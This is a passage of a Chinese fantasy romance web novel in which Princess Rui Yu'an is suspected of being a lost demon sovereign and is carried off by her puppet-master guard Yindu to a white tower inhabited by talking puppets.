苏飞得到瑞玉安的示意，上前道：“献宝人河箬，请说明你献上的珍宝。若公主喜欢，它将属于公主。但……是否留下你，这也取决于公主。”
“明白。”河箬从怀里慎重地取出一只锦囊，放上托盘，“这是我为公主献上的珍宝，名为：神灵的微笑。它可以让有缘的人看到神灵的容貌，一旦看到祂，就会生出幸福和满足。我相信这是全世界最珍贵的宝物。”
苏飞把盘子放在瑞玉安的面前，提醒道：“公主，需要我们先验一下吗？”
“不必了。”
瑞玉安拿过锦囊，掂量了下重量，朝河箬道，“神灵的微笑？这对我来说有什么用？”又自言自语道，“啊，如今我拥有整座翡翠城，不该只惦记财富，还要满足心灵的需求。神灵的微笑让人幸福和满足，确实是一份非常不错又有趣的珍宝。”
公主的话让在场的人都会心一笑。
河箬满面笑容，仿佛已经胜券在握：“公主，请打开它吧。神灵不会让公主失望。”
瑞玉安半信不疑地解开荷包，边道：“放心。说不定我不是有缘人，就只能把它还给你。”
袋子里是一片金色的叶子，也就樟树叶大小，至于微笑……瑞玉安一点都没有感觉到……在围观人的鼓励下，河箬的提议下，她倒出这片金叶。
流淌奇异纹路的金色叶子确实像是有魔力般吸引众人的目光。
瑞玉安的脑海里闪过一张脸，这张脸就印在这片金叶上。
她出于好奇，直接上手捏起叶子。
霎时间，金叶在瑞玉安的掌心流转，在众目睽睽下化作光，消失在她的掌心。
“消失了？公主。”苏飞第一个反应过来。
瑞玉安的心猛得悸动了下，仿佛被什么击中，好多如光般移动的画面在眼前飞闪而过，撞击大脑，让她痛得直接倒下去。
河箬惊呼：“公主，你把它……吸收了？糟了。这是神的物品，我母亲从落叶岛带回的东西。公主，公主……你一定要嫁给我，公主……”
苏飞接住倒下去的瑞玉安，高呼：“来人啊来人，快把刺客河箬拿下。”
银度刚从外面回来，听见喊声，疾步入殿。
他从苏飞的怀里抢过瑞玉安，探过额心神门后瞪向被侍卫按住的河箬，目光落在桌面的锦囊。
这是中原人绣的锦囊，上面有天龙道金铃的标志，属于浮空岛人间府惯用的戾气收集囊，却被人私自带下浮空岛。
银度狠狠地瞪向被押走的河箬：“你真该死。”抱起瑞玉安就向后殿走去。
在昏沉中，瑞玉安走在宽阔的虹桥，虹桥在天上，像那个老婆婆口中的彩虹桥，桥两侧云雾缭绕，无论怎么走都走不到尽头。
瑞玉安不信邪，拼命往虹桥那头奔跑。终于，她看到一名身穿金边白袍的伟岸男子站在桥头，宛如玉柱般注视无边无际的云海。
她放慢奔跑的脚步，轻而缓地走近他，深深地望着他。
“你……是谁？”
黄椒侧过脸，露出玉像般无二的容颜，朝瑞玉安缓缓地拉起唇角。
“我是被神灵遗忘在星空的人。你呢？”
“我？”瑞玉安歪头，喃喃道，“我是瑞玉安，三首国翡玉王的小女儿，母亲是皇后阿米拉。我还是红翡庄园的主人，翡翠城之主。”
“是吗？”黄椒抬手拂过瑞玉安的鬓发，缓缓道，“若是沉溺太久，会被天道捆绑得更深。若是那样，你就永远回不去。
比起修为的突破和杀人达到目的，你更重要得是寻找到属于自己的道。”
“道？”瑞玉安低头看着脚下，发现自己踩在云雾当中，一个心跳加速，就往万丈深渊跌去。
“啊……”
瑞玉安一下子坐起身，被若利亚撑起，喘息着道，“河箬呢？”
“他被押去牢房。银度大人正在审问他。”
“糟了。”瑞玉安直觉不妙，赶紧让苏飞领自己去牢房。等她到时，正见银度从牢里出来。
她穿过一言不发的银度，寻了几处牢房都没有见到河箬，又奔向站如树的银度，“你把他怎么了？”
银度的无名火已经在爆发的边缘。
这个女人不信任自己。从来这处庄园开始，她就在不断地试探自己的底线。
刚才，她直接无视自己……
“他让你受伤。他该死。”银度咬牙说完，伸手去扶她，被瑞玉安躲开，越发拉直唇角。
瑞玉安震惊道：“你杀了他？”
银度：“你一直不想召见他们，怎么突然改变主意？”
瑞玉安的眼神厉了三分：“我是公主，这里的主人。我有能力帮老婆婆，为什么不帮她实现愿望呢？”
“照你的逻辑，全城的男人都想娶你。你也可以帮他们，你要嫁给他们吗？”
瑞玉安直接提手，巴掌还没甩出去就被银度抓住手腕，气急败坏道：“你放手，你怎么无理取闹？那是缘分，兴之所至。
不对，你这么激动干什么？还有你怎么能杀人？他不是故意害我。”
银度绷张脸，放下她的手，转身离开牢房。
瑞玉安无法从他眼罩下的面容分辨他的心情，大声喊道：“喂，你什么态度啊？银度，你不准走，你不是我的侍卫吗？”
银度没有停步，直接离去。
苏飞：“公主，银度大人没有杀河箬，放走了他。”
“啊？”瑞玉安大吃一惊，急切道，“你怎么不早说？”
她追出去，已经寻不到银度。
瑞玉安自忖是堂堂公主，红翡庄园的主人，怎么能向侍卫道歉？
干脆冷处理。
几天过去，瑞玉安依旧没有见到银度，越发气恼。她还知道街角的道祖玉像被银度损坏，更觉得银度不可理喻。
为了逃避银度的问题，她开始沉浸在雕刻打磨的世界，一度损坏库里十几块黑玉。
半个月后，瑞玉安在苏飞的指导下终于完成一副黑色的玉质眼镜。
她还用金链衔接眼镜的两端，再挂在耳朵上。
“有了它，银度就不用戴眼罩了。”
完成雕刻的眼镜，瑞玉安终于忍不住向苏飞和若利亚打听银度的去向，迫不及待想把礼物送给他。
这时候，瑞玉安才知道外管事达利给银度派了非常多的任务，名曰“公主信任银度，必须要银度大人亲自处理这些事情。”
苏飞：“公主初来乍到一句话，给银度大人招非常多的麻烦。达利大人因信任的问题，把距离颇远的贸易交给银度大人去处理。”
瑞玉安一脸无语，又有些无措。
虽然开始的时候她确实打着给银度制造麻烦可以开溜的想法。后来，在红翡庄园住习惯后，她也蛮喜欢这，从翡玉王的皇宫到红翡庄园，接近两年的时间，过得又快又有趣。
她摆弄手里的黑玉眼镜，戴在脸上，酷酷道：“达利派给他的任务都给我吧，我来处理这些事。”
苏飞和若利亚面面相觑，苏飞先去找达利。
达利知道瑞玉安要接手银度的工作，赶紧前来道歉，同时申明一件事。
“公主，银度大人已经离开红翡庄园十天，根本没有处理我交待的事。这位黑珠商人已经等五天，一直没有等到银度前去商议。”
瑞玉安怔了下，后知后觉地反应过来：银度失踪了，而
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达利正在借此打银度的小报告。
不能让达利得逞！
“哦，我派银度出去做事了。这位就是……”在若利亚的提醒下，瑞玉安赶紧道，“戴家堡同我们翡翠城合作的珠宝商人？”
黑珠愣怔地看着眼神陌生的公主，喃喃道：“妖尊……大人。”自己绝对不会认错这张伟大的脸，只有妖尊大人有着天神赐予的绝色容颜。
尽管这张脸上的眼睛有些纯真，没有妖尊大人的自信和无畏，但绝对不会错，这就是合欢妖尊的脸。
瑞玉安淡定地看向黑珠，支走不甘心的达利。
“你……在喊什么？”
“妖尊大人。”黑珠再次躬身行礼，“中原大陆上的几位尊者找您都找疯了。合欢宗、青虞宗更是发出合欢令和剑令寻你，山泽帝国的女皇天行大帝也发出山海令寻你。
你……怎么在这呢？”
瑞玉安听着这些奇怪的宗门名，好奇地拉起黑珠，轻笑两声缓解尴尬。
若利亚在旁边解释：“公主，黑珠先生说得这些宗门位于天生大陆的中部、南部，山泽帝国更是大陆首屈一指的国家，女皇天行在一年前继位，现今才十二岁。”
“好厉害啊。”瑞玉安真心感叹这位天行女皇的厉害，在黑珠进一步解释这些宗门与妖尊的关系时，脑海里浮现金边白袍男人得那番话：
“若是沉溺太久，会被天道捆绑得更深。若是那样，你就永远回不去。比起修为的突破和杀人达到目的，你更重要得是寻找到属于自己的道。”
瑞玉安被那温柔地话震在原地，定神看向黑珠，喃喃道：“我……不认识你。”
黑珠已经从瑞玉安陌生的眼神里预判到这个情况，公主说出来后也就死心了。
他借着处理商贸的事，说起一个漫长的故事，关于神灵和妖女的故事，以及天生大陆从十国变为现在三足鼎立的故事。
贯穿这些变化得始终有一个女人的身影。
黑珠：“我们尊她为合欢妖尊，亲近人唤她：荇菜，小荇……”微微笑道，“我知道青虞宗宗主喜欢唤她：菜菜。有人唤过她：我行姐。也有人唤她：妖女。”
“小荇，菜菜……我行姐，妖女？一个人怎么可以有这么多奇怪的称呼？”
黑珠温柔地笑起来：“或许，现在开始，她又有新的称呼：公主殿下。”
瑞玉安摆手，僵硬地笑下：“不可能。谁会有这么多奇怪的称呼。我行姐？妖女？还菜菜……每天被当盘菜吃吗？她过得一定不如意。”
黑珠忍不住笑出声：“抱歉。以妖尊的传说拼凑她的经历，她确实过得挺不容易。大概是因为这样，所以她才会提醒自己：我一定行吧。
公主殿下，不论你是否记得，曾经你许给黑珠一个承诺：
若黑珠想要点亮羽族的晶魄，就来找你。
如今，我想要点亮它。在你的帮助下，我的丈夫在余下的人生里没再给我找麻烦。如今，他已经过世。儿女子孙各有家庭，我对凡人的世界已经再无牵挂。
我此次来三首国就是解除戴家堡和翡翠城的合约。若是儿女需要这份契约，就由他们各自前来签订吧。”
瑞玉安在他的声音里慢慢地定下来，好像自己真是他口中那惊艳绝世、游走在各方势力里的厉害女子。妖尊成长不易，但走出一条属于她得特别的道。
“道……自己的道……”
黑珠取出羽族晶魄，送到瑞玉安的面前：“公主殿下，请帮我点亮它吧。我想回归金乌一族，成为一名真正的金乌族人。”
瑞玉安再次愣怔，哑口道：“我……我不会啊。我第一次听合欢妖尊的故事，而且，我觉得她太不容易了。
人人喊打喊杀的妖女，却解放黑羽城、挽救失足魔道的羽族，唤醒妖族的凤尊，与十方山寺的僧侣守护高昌，培养现在的天行大帝，孤身前往海外对抗魔道……她好厉害啊。”
黑珠在瑞玉安纯粹的眼神中败下阵，苦笑道：“原来……你真得不是她。”
瑞玉安急忙摆手，发现黑珠的试探。她赶紧让若利亚送客，逃也似离开大殿。
黑珠怀揣疑惑离开红翡庄园。
不久后，妖尊的消息就通过百戴的消息网送往合欢宗。
**
密勒尊者破坏掉天生大陆各地供奉道祖的神庙以及道祖玉像，试图抹除道祖存在过的痕迹。
在海边，他撕掉银度的外袍，走入三生岛的深处。
过去人的影子一直在她的生活周围出现，让女人时不时出现记忆闪回。
对此，密勒尊者非常不爽，像是丝线拉扯的木偶随时会到别人的手底，失去对她的掌控。
他决定冒险，趁泽萃魔尊受伤闭关的时候解决掉他。
这样，即使天下人都认出她是谁，也无人能从手中夺走她。
阴暗的洞穴深处传来咕咕的泉水声。
密勒尊者立在泉外，细细地观察池里的大片墨荷。这些魔域黑莲的花骨里只有一株是泽萃的藏身处。而出手的机会只有一次，若是杀错，就没有下一次机会。
123. 第 123 章
赌还是不赌？
密勒在魔窟站两天，十指联动，本命法器千丝结成网阵缠住每一朵魔域黑莲和叶片，笼罩住整个泉池。
一时间，泉水好像寂静无声。但是，洞外传来声响，密勒尊者旋手一划，千丝阵上凝结出冰露。
这些冰露散发无形的寒凉气息，随泉水的咕冒声滴进莲泉。毒素会随流水侵蚀每一朵莲骨，藏于其中的泽萃也不能幸免。
洞外的声响越来越近。密勒尊者侧眸轻瞥，隐身离开魔窟。
**
银度回到三首国的翡翠城，城里在谈论瑞玉安公主和山泽皇室签订一份翡翠出口协议，而这项协议会给翡翠城带来无尽的财富。人人都在夸瑞玉安公主经商有道，任人唯贤。
“这个女人又做了什么？”银度的脑海里闪过疑问，快步回红翡庄园。
一名陌生的羽族接替达利的工作，正在处理翡翠城的商贸事务，而河箬成羽族人的下属帮手。
黑珠见到面带眼罩的男人，微垂眸光，朝男人行礼：“您就是银度大人？我是公主新聘的外管事，黑珠。负责接手达利此前的工作。
银度大人，达利派给你的任务已经全部收回，由我和河箬负责处理。”
银度绕过黑珠，直入公主寝宫，正见瑞玉安在试新裙子，立时转过身去。
瑞玉安从镜子里看到身后的男人，让若利亚先行离开。
她蹑手蹑脚走到银度身后，垫脚就捂住银度的眼罩位置。
银度以为她要拿掉自己的眼罩，一把按在她的手背。
“公主……”
瑞玉安歪头伸脸，俏皮道：“我不看你的眼睛，也不追究你跑哪里去逍遥快活。但是，我要亲自给你戴上我送你的礼物。”
银度顿了下，慢慢地放下手。他被瑞玉安拉着坐在床上，发现她转身离开，不由虚握了下拳。
“那个羽族人是怎么回事？”
瑞玉安找出雕刻好的黑玉眼镜，背在身后，走来道：“他叫黑珠，丈夫过世后无处可去，又擅长经营，我就留下他，代替达利的位置。”
“达利呢？”银度正面瑞玉安，仰看站在面前的她。
公主拥有完美的脸型、毫无瑕疵的五官、纯真的眼神已经染上世俗的狡黠。天道制造的杰作，还会不断地改变自己适应这个世界。
瑞玉安低首正面银度，温温的眼神望人时不会让人觉得冒犯，反而感受到被认真对待的重视。
她莞尔道：“其实，你是想问河箬为什么在这里吧？”在银度发话前，赶紧道，“对不起，我误会了你。”
银度一下子哑口，撇开脸不去面对她。
瑞玉安动手摘下他的眼罩，银度有着宛如蒲扇般的银色长睫，长长的眼线轮廓。若是他肯睁开眼睛……不知道是怎样美丽的眼睛。
脑海里闪过一双翠色镀金般的眼瞳……那是鬼魅的眼睛。
瑞玉安赶紧把黑玉眼镜架在银度高耸如脊的鼻梁上，金链绕过他的脸颊挂在如雪般的耳上。
“银度，我发现你好白，白得像光。”
出于内心某种悸动，瑞玉安勾起银度的下颚，黑白分明的脸直刺而来，让人忍不住想要拿掉黑玉眼镜瞧瞧他的眼睛。
银度感受摩挲在下颚上的温凉，轻轻地拉起唇角：“你解决了达利？”
“他欺负你。我没杀他，只是赶走他。”瑞玉安嘟囔说完，被他的笑容蛊惑，弯身间被银度一把揽住腰身，“啊……银度……”
银度的下颚抵在她的心口，柔软和馨香像是有魔力的丝线，牵引那根撕扯的弦。他知道最终的宿命，但是在宿命到来前，他希望自己才是那个主导一切的人。
这意味着他主动去选择命运，而不是被动接受既定的命运。
“公主，你太心急了。谢谢你的礼物。”银度松开愣怔的瑞玉安，起身离去，又回头道，“公主的心跳真是在为我而狂舞吗？”
瑞玉安微变面色，薄红印透肌肤，吼道：“混账银度，谁为你紧张了。滚滚滚……”
走到寝殿外的银度扯起抹苦笑：“这就是妖女的高明之处吧。”封印自己爱上她本会憎恶的人，让清醒的人痛苦……不，一切都可以拒绝。
只是，谁会拒绝纯真的妖女献上的温柔。她的蛊惑就像是本命法器千丝，斩不断理还乱。
这是一场注定会输的赌局。
这日过后，红翡庄园恢复往日的宁静。外有黑珠和河箬，内有苏飞，几人将翡翠城和庄园的事处理得井井有条。
瑞玉安无所事事，又琢磨雕刻小玩意。
这一次，她雕得是一尊道祖玉像，被命名为：遗忘的神灵。
玉像完工那日，瑞玉安爱不释手地抚摸玉像的脸颊，脑海里想起虹桥尽头的神灵，不自觉露出微笑。
黑珠寻来时，正见瑞玉安在发呆，禀道：“公主，欧阳先生来了。”
瑞玉安回过神，起身道：“那位你说可以教我点亮你的羽族晶魄的欧阳先生？”
“是的。”黑珠向外示意，欧阳燕歌款款走进房间。
瑞玉安好奇地看着欧阳燕歌，含笑道：“你好，欧阳先生，中原人的服饰果然非常神灵，而且一表人才。”
欧阳燕歌微顿，低首一身常服，再及妖尊手边的道祖玉像，含笑道：“若公主喜欢，欧阳可以送一套襦裙给公主。”
他从储物器里取出一套全新的荷粉色襦裙，递给黑珠。
黑珠与他的眼神交接，把襦裙送到瑞玉安的桌上：“公主要试下吗？”
“不了，先办事吧。此前，我确实不信你说的话，但是你接手达利的事务，证明你的办事能力，说明你所言不虚。
那么，我愿意给你一次证明‘我可以点亮你晶魄’的机会。”
瑞玉安伸手作请，让欧阳燕歌坐在客桌边。
欧阳燕歌：“适才公主说中原人一表人才，其实，这是有原因的。”
“什么原因？”瑞玉安好奇问。
“因为妖尊其人最喜貌美之人。若是长得丑，她不爱同他们玩。”
黑珠轻咳了声，脑海里晃过妖尊的传言，不由看向貌美的瑞玉安。
瑞玉安转着灵动的眼，恍然道：“你也认为我是你口中的妖尊，认为我以貌取人？”
“没有这么严重。只是妖尊认识的人长得都不丑。”欧阳燕歌暖暖一笑，又赶紧道，“言归正传。若是当日在三生岛海上，我知道妖尊的计划是这样，想必我会阻止妖尊。”
瑞玉安开始蹙眉，好脾气都耐不住：“你们一厢情愿认定我是那合欢妖尊，请拿出证据啊。”
欧阳燕歌：“此事不急于一时。我先教公主一套心法，名为：天地同欢诀。若公主练成，自然证明我和黑珠先生说得不假。”
瑞玉安接过欧阳燕歌递来得一枚雕刻“合欢”的玉珏，翻来覆去道：“这就是你说得什么诀？怎么用？”
“心诚，道响。公主试着把它贴在额心。”
瑞玉安半信半疑把玉珏放在额心，霎时间，一股信息自动流入识海。这是一本书写自然的画册，开篇寄语：天地同欢，由爱生道，与天地同感而欢，自生道法。
她甩下头，满脸神奇地看向黑珠和欧阳燕歌：“这就是中原人的法术？”
“这是道。听闻公主得到过一片‘神灵的微笑’，若公主以此道感应入体的道祖道念，或许会有所心得。”欧阳燕歌起身拱手，“公主，今日就到这吧。待公主能启道时，欧阳会再来拜访。”
黑珠领欧阳燕歌离开。
欧阳燕歌出门时又往回走，放一只储物袋在桌
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面，含笑道：“公主，在中原发生一件怪事，有人见到一位银发眼罩男子到处毁坏道祖玉像，尤其在世净宗，偌大的玉像直接化成粉末。”
他的目光落在瑞玉安的办公桌上的道祖玉像，微笑道，“公主，请把祂藏入这只袋子保管好吧。”
瑞玉安莫名地看着他离去的背影，转向桌上的小玉像，恍然道：“银度……”
她赶紧把玉像收入小巧的袋子，贴身藏好，又拿着合欢玉珏去寻银度。
银度也在雕玉像，雕得是穿着丝绸长裙的瑞玉安。
瑞玉安想要吓唬他，猛地跳出去，结果脚下不稳，直接朝银度摔去。
银度一动手指，千丝没有出现，起身接住瑞玉安。他看着目光崇拜、眼神纯真的瑞玉安，直接把人扶正，继续坐回去雕刻玉偶。
瑞玉安感觉到低气压，坐在银度旁边，探头去看他雕的玩意。
“你在雕我吗？这是送给我的礼物吗？”
银度没有回答。
瑞玉安咬牙，直接抓住银度的手臂，阻止他继续雕刻。她对上银度转来的面孔，黑玉眼镜挂在白皙的脸上显得特别突兀好玩。
“呵呵……”瑞玉安忍不住笑起来，“银度，他们说妖尊不喜欢和丑的人玩。我觉得你一定长得很秀气。”
银度挣了下，没能拿回手，公主用了很大的力气。而这句话又是一次试探：若是直接回应，证明银度和妖尊认识……
他无奈道：“公主不会想要见到我的眼睛。”
“你不给我看怎么就知道我不想看到？说不定我很期待看到你的眼睛呢。”
银度拉起唇角：“若你看了，逃走或讨厌我怎么办？”
“……不可能。”瑞玉安抿唇，探手去够银度的眼镜，被银度按住手。
两人僵持了几秒，瑞玉安使了力量往外扯，银度渐渐地松了力气。
瑞玉安拿下银度的黑玉眼镜，再次看到闭上眼睛的银度。她站起来，弯下身，唇瓣贴上那双合紧的眼睛，轻若徐风：“银度，我不怕。”
她亲吻这双眼睛，期待着它们宛如蒲扇般扇开双眸。
翠色如深绿翡翠的眼瞳被一圈暗金色包围，森冷地注视而来。
瑞玉安一下子往后跌去，坐在地上，喃喃道：“鬼……”面对起身的银度俯视的神情，以及他长臂下比光还要白的手，“是……你。”
“你记起什么？”银度冷冷地注视她。
这样的银度陌生得让人害怕。难道一直以来戴着眼罩的银度都是这样的森冷阴寒吗？
在银度的注视下，瑞玉安不得不细细地回想那个可怕的夜晚：“黑夜、雷电、花香，鬼……各种奇怪的叫声……”瑞玉安沉浸在某种奇怪的想象，一下子捂住额头，“有什么要出来……啊……”
银度拾起她掉在一旁的合欢玉珏，翻面后，了然道：“听说合欢妖尊设局从来不是无的放矢。”
蹲在惊悚的瑞玉安面前，一指点在她的额心神门，“在封印术完成前看到我，所以，我成你开启记忆大门的一道缝隙。
荇菜，你还记得昆山一战时被你偷走的金沙吗？他的元神在哪里？”
“昆山？金沙……”瑞玉安喃喃念道，脑海里好像有无数个一模一样的女人行走在千丝万缕的银色丝线当中，其中一道虚影夺入一具尸体，在混乱中一枚晶莹的珠子设置一重重幻境，吸入那道高大的赤膊身影。
“啊……银度，我的头好痛好痛……啊……”
银度的眼睛微微地眯起来，最终还是点昏了瑞玉安。他抱起这个诡计多端的女子，一步跨出离开红翡庄园。
俗世红尘不是归宿。那么，回白色高塔，那里或许是最好的选择。
欧阳燕歌和黑珠看着密勒尊者带人离开，两两对视，无声胜有声。
124. 第 124 章
瑞玉安再次醒来时在一座白色高塔上，趴在高塔的拱形窗口眺望无边无际的绿色森林，像是银度眼中的翠绿世界，而她像童话故事里被巫师掳走的长发公主。
起初，瑞玉安是兴奋激动的，认为这是和银度的二人世界。她探索高塔里的房间，找到一处温馨的卧室，里面是女人生活过的痕迹。
她拿起女子用的雕花木质梳子，跑去质问银度：“这是你家吗？为什么会有这东西？”
银度扫过一眼：“你可以直接扔掉。”
瑞玉安憋一肚子闷气，转身把别得女人用过的东西都扔出高塔外。她又跑到大门口，想出去走走，却发现怎么都打不开大门。
“银度，我要出去，我要散心。”
银度在他的工作区雕刻玉偶，一寸寸细细地打磨，似乎要雕琢出最符合心意的玉像。
瑞玉安闯进去，一把夺过他手里的玉偶砸在地上，气急败坏道：“银度，这里到底是什么地方？我要出去。”
银度再次拿出一块方玉，专心雕刻，完全无视瑞玉安的要求。
瑞玉安气直眼，奔回房间。
她趴在床褥上，无声地哭泣，一直哭到睡着。
银度走进房间，把她安置妥当，再盖上被子，离开前被瑞玉安抓住手。
在朦胧的光线中，两人默默地对视着。
瑞玉安爬出被褥，抱住银度的腰身，委屈道：“银度，你别走，我害怕……”
“这里很安全。”
瑞玉安感受着他的体温，往他怀里躲去。
“很安静，安静到让人害怕。你陪我好吗？像在父皇的皇宫里，你陪我熟悉每一处地方。在红翡庄园，即使你不在，我也知道你会回来，可以安心地留在那。”
“我不会离开这。”
这句话让瑞玉安更加不安，越发紧地揽住银度的腰身。
银度仰吸口气，月华从圆窗里透进来，照亮窗边一角，却让他的眸子越发森冷阴寒。
他抱起瑞玉安，再次把她放在床上，坐在床头：“我陪你睡着。”
“好。”瑞玉安的眸光偶然滑过银度的面庞，就再也不敢看他的眼睛，紧紧地拉着他的手垫在脸下，紧闭上眼睛，“银度，我们要在这住多久？
我想若利亚和苏飞，还有黑珠先生……”
银度听着她嘀嘀咕咕的念叨，随时间流逝，月光西移，床上的呼吸声逐渐均匀。他慢慢地抽出手，离开白塔。
翌日，瑞玉安被阳光吻醒，猛地跳下床，就看到床头立着一道陌生的人影。
“啊……”她吓得又跳回床上。
“公主，您别害怕。我是木偶银亚，您的侍者。”银亚伸出木质的人手，华丽的衣袍也遮不去木头的油光。“主人出去了，应该是帮公主采购必须的生活用品。公主，我准备了您爱吃的甜面包圈和健康的森林绿汁。”
瑞玉安好奇地看着木偶银亚捧来的托盘，上面放着一盘甜甜圈和一杯绿色草汁。她松了口气，也觉得饿极了，抓过面包吃了口，甜香的味道让她彻底放松下来。
“你……是木偶？”
银亚不失礼貌地裂开没有牙齿的木质嘴巴：“我是尊者赋予生命的第一个木偶，也是他的侍者。公主可以叫我：银亚。”
“银亚……银度？呵呵……”瑞玉安想到什么，不由自主就发笑。
银亚温和道：“银度是主人成为尊者前在世间流浪卖艺的名字。后来，高欧人尊奉主人为密勒尊者。因为他可以掌握成千上万的木偶丝线，操纵丝线杀掉一个领主的军队。”
瑞玉安差点被面包噎住，接过银亚递来的绿色汁液，闷了一口。
“唔……”
“公主，主人说这是驱除森林毒雾的草汁，必须喝下去哦。”
瑞玉安强忍着咽下去，放回杯子。
“银度……密勒尊者不是我父皇送……的侍卫吗？不对，银度不是银度，难道我真得是妖尊？”又朝银亚道，“你认识合欢妖尊吗？”
银亚摇头：“我听过阿琪、若珂、玫瑰伯爵、斯坦夫人……就是没有听过合欢妖尊。”
“你说得这些人都是谁啊？”
银亚的绿宝石眼睛滑过一阵光，张合嘴巴：“他们都在地库，已经被尘封很久了。”
瑞玉安生出强烈的好奇心，拉着银亚奔去地库。
在地下仓库里，她发现许多高欧人外形的木偶，随银亚的介绍，认识阿琪女士、若珂刺客、玫瑰伯爵，以及温柔的斯坦夫人，还有一些木偶已经七零八落散架到不成样子，一时间无法还原。
她把成型的木偶抱到白塔二楼晒得到太阳的地方，还把木偶擦拭干净。
“公主，他们让我对你说一声：谢谢。”银亚诚恳地鞠躬，“玫瑰伯爵说，他已经很久没有晒到太阳。”
瑞玉安笑出声：“你能和他们讲话？”
“主人试过很多办法，在他们的头脑里雕刻，试图赋予木偶神奇的能力……最终只有我成功。她们可以感知，甚至做一些幅度略小的动作，但无法像我一样完美。”银亚自豪道。
瑞玉安忍俊不禁，抚摸银亚的木质手和脸庞，点头承认：“你确实极其完美。”
她把仕女偶阿琪放倒在地上，拆下木偶的脑袋，“阿琪，我想看看你的问题，若是可以帮你变得像银亚那么完美就更好了。”
银亚在旁点头。
阿琪突然开口：“没有问题，女主人，尽管来吧。”
瑞玉安手里的阿琪脑袋一下子滚出去，又忙不迭捡回来，面对面捧着。
阿琪眨巴翠绿的眼睛，张合嘴：“对不起，女主人，一开始不说话是怕吓到您。曾经我们吓到过很多人。”
玫瑰伯爵晒着太阳，优雅道：“确实。所以，我们一直不敢开口。”
斯坦夫人：“抱歉，亲爱的公主，我们不是有意的。毕竟，这座白塔空寂太久了。”
若珂冷冷道：“才两年。两年前还有两个好奇心很重的女人到处玩捉迷藏，拿走了主人为我打造的匕首。”
瑞玉安好一会才回过神，直接跳过这些木偶能说话的问题。
“两个女人，她们是谁？为什么住在这？银度……不，密勒和她们……”
斯坦夫人：“公主，别担心，不是您想得那样。她们只是被世俗无法接受而选择逃往无人处的可怜女人。如今，她们已经坦然面对现实，回到她们本该去的地方。”
玫瑰伯爵：“是啊。主人心善，喜欢帮助流浪者。”
阿琪：“不，他只是缅怀曾经的流浪生活，偶尔发出一点善心。”
话题好像绕回来。
瑞玉安跳过两个无足轻重的女人，问起密勒尊者曾经的生活。
阿琪待在瑞玉安的手掌上，继续开口：“主人是高欧的流浪艺人，被一名木偶大师收养长大，学一手操控木偶的本事。可是，他孤僻、冷淡，不爱同人交流。”
银亚：“不，主人很温柔。他愿意和我们说话，并且希望赋予我们生命。他成功了。”
若珂：“更多得是失败品。”
玫瑰伯爵：“他很疯狂，甚至把自己制作成木偶。”
瑞玉安震惊地跳起来：“什么？他把自己制作成木偶？”
斯坦夫人：“没有。你们不要吓她。不过，主人差一点就成功了。”
阿琪：“确实。但是一阵金光救了他。从此，主人就不一样了。”
银亚：“是。那天开始，主人就成为高欧人人敬畏的木偶大师。”
玫瑰伯爵：“高欧人好战，一旦聚集上百、上千人就开始征伐，高欧百姓一直无法安定生活，直到迪莉娅的出现。”
这个名字一出来，所有的木偶都变得极其安静。
瑞玉安不解道：“迪莉娅……是谁？”
良久后，若珂先是道：“一个傻女人。”
阿琪不满他的话，赞誉道：“伟大的女性，试图统一高欧，结束战乱，却……失败了。”
玫瑰伯爵：“她爱主人，但是，主人不知道什么是爱。”
斯坦夫人：“主人没法感觉到别人的爱，但他能忍受千年的孤寂。”
银亚叹了声：“迪莉娅崇拜主人操纵木偶的本事，希望主人能与她一起结束高欧的战乱。但是，主人对此并不感兴趣，直到迪莉娅战死的消息传来。”
瑞玉安突然很紧张：“银度发现自己爱上迪莉娅吗？”
阿琪像人一样嗤笑了声：“不，他是被卷入的。迪莉娅临死前告诉世人：结束高欧千年战乱得人是一个木偶操控师，她的爱人，银度。”
银亚接道：“所有希望和平的人都在寻找主人，连当时最强的领主都想找主人做幕僚。但是，主人生气了。”
玫瑰伯爵：“他杀光大领主的军队。自此后，高欧形成现在八大领主共治的形势，而主人被尊称为密勒尊者。高欧人也不敢进入绿莽森林寻找白塔。”
斯坦夫人发现瑞玉安的沉默，扭转脖子望向她：“公主，在成为密勒尊者前，主人非常温柔，即使孤独他也不会怨憎。但是，迪莉娅死后，他突然疯了般试图让木偶变成真人。我怀疑，他是因为感觉不到真实的感受而惶恐害怕。”
阿琪：“在地库的最深处，单独的房间里有一尊木偶……”
银亚赶紧打断道：“不，别说出来。公主，不要去那个房间。”
瑞玉安听着木偶们七嘴八舌地争论起来，旋身一转直奔地库而去。
斯坦夫人：“天啊，你们会害死她。银亚，快追上去。”
若珂：“真讨厌拿走我匕首的女人。若是有匕首，我现在可以刺断公主的脚筋，让她不用去送死。”
……
瑞玉安来到木偶口中的地库深处，一扇铁门前，门被锁着。
她试图寻找工具，最后拔下银亚的后脊骨去撬锁。
银亚摊在地上，欲哭无泪：“公主，别这样。尽管迪莉娅是一个半成品木偶，但她的战斗力一点都不弱。”
“啪嗒”一声响，锁落了地。瑞玉安先给银亚把脊骨装回去，再推开木门。漂浮着灰尘的房间里有一张极大的桌子，阳光从东墙的小铁窗里照进来，映出一片小小的栅栏。
瑞玉安抚摸桌上的痕迹，大半张桌子都是灰尘，突兀地显出一个人形轮廓。
“她刚刚在这……”
风般轻微的声音拂来。银亚一声不吭就变成两截倒在地上，瑞玉安低头躲过银丝。
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迪莉娅蹲曲在长桌上，指尖挥舞银丝，发绿的眼睛死死地盯向瑞玉安。
“你……就是迪莉娅？”瑞玉安怂怂地看向迪莉娅。
迪莉娅不会说话，五指一扣，五条银丝飞舞地袭向瑞玉安，封锁她左右上下的方位。
瑞玉安选择后退，而后面是墙体，让她无处可逃。
千钧一发之际，迪莉娅的银丝在瑞玉安的面前停下，宛若光一样消弭。
银度站在瑞玉安面前，蹙眉道：“好奇心怎么这么重？”
瑞玉安委屈地看他，嘴唇一抿，“哇”得一声哭出来。
“银度……呜呜……我差点以为自己再也见不到你了。呜呜呜……”
银度抱起哭哭啼啼的瑞玉安，而瑞玉安一把拖住银亚，银亚拖住自己的腿，而腿勾住迪莉娅，一骨碌离开地库。
白塔二楼的阳光下，所有的木偶噤若寒蝉，仿佛自己就是不会说话不会动的木偶，只有瑞玉安轻微的抽泣声。
迪莉娅抽动四肢，试图要站起来，却直接趴下去。
瑞玉安看了一会，拉住银度的衣袖：“她……好痛苦的样子。”
“木偶没有感知。”银度平静道，“制作她的时候赋予战斗的神识，这会让这个木偶一直想要战斗和杀戮。”
“她好像不会说话。”
银度忍不住觑向瑞玉安，神情慢慢地柔和起来：“杀人机器不需要说话。”说完，银度转身离去。
